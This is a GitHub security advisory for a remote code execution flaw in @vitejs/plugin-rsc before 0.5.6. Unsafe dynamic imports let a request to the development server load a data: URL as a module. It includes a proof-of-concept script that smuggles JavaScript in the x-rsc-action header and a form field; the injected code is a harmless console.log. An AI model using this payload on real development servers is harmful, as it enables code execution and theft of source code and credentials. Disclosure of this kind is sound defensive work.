GHSA-j76j-5p5g-9wfr
@vitejs/plugin-rsc Remote Code Execution through unsafe dynamic imports in RSC server function APIs on development server
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | @vitejs/plugin-rsc | < 0.5.6 | 0.5.6 |
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
Arbitrary Remote Code Execution on development server via unsafe dynamic imports in `@vitejs/plugin-rsc` server function APIs (`loadServerAction`, `decodeReply`, `decodeAction`) when integrated into RSC applications that expose server function endpoints.
## Impact
Attackers with network access to the development server can execute arbitrary JavaScript code with Node.js privileges, allowing them to read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using `vite --host` to expose the server on all network interfaces.
## Details
In the example RSC application provided in Proof of Concept, the server handles server function call through API such as `loadServerAction`, `decodeReply`, `decodeAction` with http request's header and body as inputs:
https://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/examples/starter/src/framework/entry.rsc.tsx#L42-L47
During development, these API internally relies on dynamic import to load server function module, which allows executing arbitrary module including data url module.
https://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/src/rsc.tsx#L19-L24
## Proof of Concept
The example app is avialable in
- https://github.com/vitejs/vite-plugin-react/tree/main/packages/plugin-rsc/examples/starter
- https://stackblitz.com/edit/github-rubfqp9k?file=poc.js
**Reproduction Steps:**
- Stat development server `vite dev`
- Run a following script `node poc.js`
- See "REMOTE CODE EXECUTION1" and "REMOTE CODE EXECUTION2" in server console
```js
// [poc.js]
const payload = {
0: ["$F1"],
1: { id: "data:text/javascript,console.log('REMOTE CODE EXECUTION 1')# " },
};
const fd = new FormData();
for (const key in payload) {
fd.append(key, JSON.stringify(payload[key]));
}
const serverUrl = process.argv[2] || 'http://localhost:5173/_.rsc';
const response = fetch(serverUrl, {
method: "POST",
headers: {
"x-rsc-action": "data:text/javascript,console.log('REMOTE CODE EXECUTION 2')# ",
},
body: fd,
})
```
References
External links from the advisory. They lead to third-party sites.